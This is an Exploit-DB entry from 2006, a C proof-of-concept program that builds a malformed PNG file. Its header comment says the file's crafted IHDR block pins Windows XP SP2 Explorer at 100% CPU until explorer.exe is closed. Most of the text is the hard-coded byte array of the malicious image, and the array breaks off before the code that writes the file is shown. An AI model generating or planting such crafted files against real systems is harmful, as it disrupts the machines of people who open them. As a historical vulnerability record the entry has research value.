Exploit-DB #2204
Description: Microsoft Windows - '.png' IHDR Block Denial of Service (PoC) (3)
Type: dos
Platform: windows
Date: 2006-08-17
Author: Preddy

Exploit:
/*

##################################################################################
#Microsoft Windows PNG IHDR block DoS poc
#More info: http://www.xsec.org/index.php?module=Releases&act=view&type=1&id=6
#Written by Preddy
#
#don't create the poc png file on windows it won't work as it should
#when i create it on windows with activeperl or visual c it doesn't work !!??!!
#you can try if you want to..it didn't work for me because of some weird magical windows reason..
#the png header becomes: 89 50 4e 47 0d 0d
#instead of            : 89 50 4e 47 0d 0a
#
#I currently have no single idea WHY it does that...
#so use linux to compile/run the script or the program
#
#http://www.team-rootshell.com
#
#Greetz to all of my friends at:
#
#FREENODE(irc.freenode.net): ##c,##linux,##php,##security,##slackware,#fluxbox,#perl,#remote-exploit,#tor
#MILW0RM(ABS.lcirc.net): #milw0rm
#STS(irc.smashthestack.org): #lecture,#social (special greetz to: esper and crystal <3<3<3)
#PTP(irc.eu.pulltheplug.org): #aso,#Social
#GSO(gso.eclipticx.net): #gso-chat
#TTNET(irc.ttnet.net.tr):#coders,#linux,#nukedx,#zion,#php
#SSTNET(irc.0x557.net):#darpa,#exploits,#m00,#ph4nt0m,#rx.rx,#segfault,#sscan
#xoron,sakkkure :D
#Rootshell Security Group and everyone else ^^
#
#This causes 100% cpu  tested on WinXp Sp2
#Cpu will keep running at 100% untill you close explorer.exe
#
##################################################################################

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc,char **argv)
{

char *evilpng="billy.png";
FILE * winpng;

char png[] = {
0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a,0x00,0x00,0x00,0x0d,0x49,0x48,0x44,0x52,
0x00,0x00,0xff,0xff,0x00,0x00,0xff,0xff,0x08,0x00,0x00,0x00,0x00,0xc3,0x07,0xf1,
0x5c,0x00,0x00,0x00,0x07,0x74,0x49,0x4d,0x45,0x07,0xd6,0x02,0x0e,0x0f,0x25,0x12,
0x82,0xba,0x97,0x53,0x00,0x00,0x00,0x09,0x70,0x48,0x59,0x73,0x00,0x00,0x0a,0xf0,
0x00,0x00,0x0a,0xf0,0x01,0x42,0xac,0x34,0x98,0x00,0x00,0x00,0x04,0x67,0x41,0x4d,
0x41,0x00,0x00,0xb1,0x8f,0x0b,0xfc,0x61,0x05,0x00,0x00,0x09,0x4d,0x49,0x44,0x41,
0x54,0x78,0xda,0xcd,0x9d,0x41,0x6c,0x1b,0x45,0x14,0x40,0x27,0xff,0x00,0x00,0x00,
0xff,0x00,0xff,0x00,0x00,0x00,0x00,0xff,0xff,0x00,0xff,0x00,0xff,0xff,0xff,0xff,
0xff,0xc8,0xa8,0xbd,0x94,0x0a,0xc9,0x2d,0x1c,0x20,0x70,0x71,0x7a,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x4d,0x0e,0x75,0x55,0x55,
0x4a,0x72,0x31,0x6a,0x39,0xd8,0x85,0x83,0x5b,0x09,0xd2,0x14,0x55,0xc8,0x2b,0xa1,
0x26,0x15,0x48,0xd8,0x16,0x12,0x69,0x00,0x01,0x2a,0x62,0x59,0xef,0x7a,0xd7,0x5e,
0x7b,0x76,0xfe,0xff,0x33,0x63,0x36,0xff,0x14,0x7b,0xff,0xee,0x3e,0xff,0x99,0xff,
0xe7,0xcf,0xcc,0xdf,0xcd,0x98,0xcd,0x02,0xf9,0xe7,0xc7,0xdf,0xd8,0x36,0x91,0xc7,
0x8c,0x9d,0xbd,0x0f,0xc1,0x9f,0xf6,0xf7,0xe5,0xef,0xbe,0xf9,0x3d,0x6e,0xb6,0x80,
0xf1,0xe9,0x97,0x5e,0x7d,0x22,0xf8,0x64,0xbb,0xf2,0xc7,0xd7,0xef,0x3c,0xa1,0x70,
0xc9,0x11,0xc8,0xd8,0xfe,0x53,0x77,0x1e,0x78,0x70,0x1e,0xe3,0x0f,0x47,0x1f,0x8d,
0x9b,0x89,0x23,0x8f,0xbf,0xbb,0xd5,0x63,0xfc,0xe1,0x85,0xb8,0x71,0xf8,0xb2,0xe3,
0xe4,0x96,0xcf,0xb8,0x5d,0x11,0x7d,0x48,0x87,0xf1,0xef,0xd7,0xe3,0x46,0x11,0x40,
0xce,0x7b,0x8c,0xd5,0xed,0xd8,0x17,0x7d,0xd9,0xff,0x73,0x87,0xf1,0xdf,0xb7,0xa3,
0x8e,0x1b,0x99,0xb8,0x09,0x9d,0xd8,0x78,0xb1,0xc3,0x78,0x27,0x32,0xe8,0x64,0xec,
0x7a,0x36,0x6e,0x46,0x36,0x75,0xdf,0x61,0xfc,0x30,0xf2,0x70,0xc6,0xe9,0x0b,0x8d,
0x9c,0x11,0x2f,0xe3,0xae,0xaa,0xcd,0xfe,0x8c,0x76,0xea,0x8c,0x1b,0x9d,0xe2,0xb6,
0x65,0xc1,0x66,0x5b,0x07,0x22,0x8f,0x26,0xbd,0x30,0x6f,0x57,0x92,0x71,0x32,0xbe,
0xf0,0xa7,0x88,0xd1,0xb4,0x7d,0x29,0x9a,0xf1,0x31,0x1e,0xd8,0x7a,0x08,0xa5,0x37,
0x7b,0x3d,0x3f,0xaa,0x6e,0x99,0x2c,0xe4,0x40,0x1d,0x81,0x1d,0x59,0xd3,0xee,0x49,
0x63,0x24,0xdd,0x32,0x5b,0x6f,0xda,0x15,0xb1,0xca,0x81,0x2d,0x34,0xa3,0xd3,0x2d,
0xb5,0x37,0x78,0xb6,0xee,0x3a,0xa5,0x12,0x63,0x23,0xc4,0x68,0x37,0x0b,0x5a,0x1b,
0x3c,0x59,0xee,0xb6,0x90,0x12,0x63,0xd9,0x1e,0x90,0xba,0x46,0x0f,0xcf,0xfb,0xad,
0xd4,0x10,0xff,0x72,0xc0,0x67,0x36,0x07,0xbf,0x48,0xdd,0x28,0x6a,0x32,0xa5,0x59,
0x39,0x93,0xe8,0xfe,0xb9,0x17,0x54,0x16,0xd9,0x31,0x6b,0x0f,0x4b,0x43,0x8b,0x29,
0x33,0x7d,0xdd,0xa8,0x29,0xee,0xe7,0x80,0x1d,0xef,0xf1,0x0c,0xb0,0x92,0x57,0x47,
0xcc,0x5d,0x25,0xf9,0x9f,0xc8,0x8e,0x46,0xc3,0xe6,0x49,0x59,0xb1,0xbd,0x8d,0x62,
0xd8,0x15,0x95,0xec,0xd8,0xae,0x72,0xbf,0x3e,0xf1,0x95,0x5a,0xd2,0x76,0x6e,0x96,
0xa6,0x2f,0x1e,0x67,0xd6,0xf8,0x5f,0x9b,0x8b,0x2a,0xed,0x5d,0x3e,0x41,0x3d,0x43,
0xd4,0xd6,0xcc,0x68,0xda,0x11,0x52,0x91,0x6d,0x6f,0x63,0x28,0xa0,0xa9,0xb5,0x35,
0x6b,0xaf,0x46,0x1d,0x39,0x2c,0xdb,0xde,0xe7,0xc8,0x56,0x04,0xda,0x9a,0x95,0x22,
0x8f,0x98,0x8b,0x70,0x2e,0xc0,0x91,0x02,0x1d,0x11,0x68,0xeb,0xc1,0x21,0x5b,0xd9,
0xbf,0x73,0x9c,0xcb,0x28,0xb6,0x35,0x63,0x4b,0x82,0x63,0x27,0x56,0xa8,0xf1,0x3c,
0xf3,0x81,0x84,0x15,0x41,0x3b,0x9a,0x22,0x43,0xda,0x4d,0x5a,0xa7,0xe4,0xc7,0x5b,
0x65,0x3b,0x5a,0xab,0xa2,0xa3,0x89,0xab,0xa4,0x20,0x54,0xe2,0xd3,0xfc,0xaa,0x68,
0x47,0x96,0x14,0x1a,0xd2,0x99,0x46,0xe0,0x3b,0x65,0x9e,0x7f,0x05,0x30,0xef,0x01,
0x19,0x87,0x13,0x34,0x59,0xcf,0x89,0xea,0x36,0x6a,0xf9,0xa3,0xf0,0xd2,0x81,0xd4,
0x91,0x90,0x75,0x5b,0x92,0x11,0x9e,0x73,0x59,0x17,0x00,0x85,0xd4,0x0a,0x2a,0x89,
0xc9,0xa5,0x22,0x0e,0x80,0xdd,0x11,0xb6,0x63,0x54,0xf6,0xd3,0x6f,0x09,0x04,0x64,
0xf4,0x55,0xca,0xea,0x76,0x64,0xed,0x37,0x5b,0x80,0x86,0x79,0x1d,0x0e,0x94,0x73,
0x91,0xbf,0x63,0x03,0x3a,0x15,0x33,0xbf,0xbe,0x39,0x0f,0x69,0x24,0x3e,0x87,0x20,
0xcd,0xb7,0x22,0x0f,0x6d,0x02,0xa7,0xa2,0x18,0xd9,0xd9,0x4b,0x90,0x86,0xb9,0x02,
0x44,0xf3,0xf7,0x12,0x91,0x87,0x40,0x46,0x44,0x7f,0xec,0x48,0x05,0xea,0x92,0xc0,
0x90,0x63,0x08,0xce,0x04,0x7e,0x1d,0x76,0x2d,0x85,0xcd,0x59,0x90,0x46,0x62,0x51,
0x74,0xaf,0x39,0xc1,0xb1,0x7b,0x0c,0x12,0x9c,0x1d,0x83,0x35,0x34,0x39,0x4b,0x0a,
0x43,0x03,0x70,0x67,0xb4,0x1d,0xd9,0xcd,0xe3,0xa0,0x4a,0xe2,0x6a,0x24,0x64,0x5a,
0x10,0x9c,0xa0,0xa0,0x81,0xf4,0x99,0x8e,0x5c,0x3e,0x05,0xeb,0x2c,0x46,0xad,0x5b,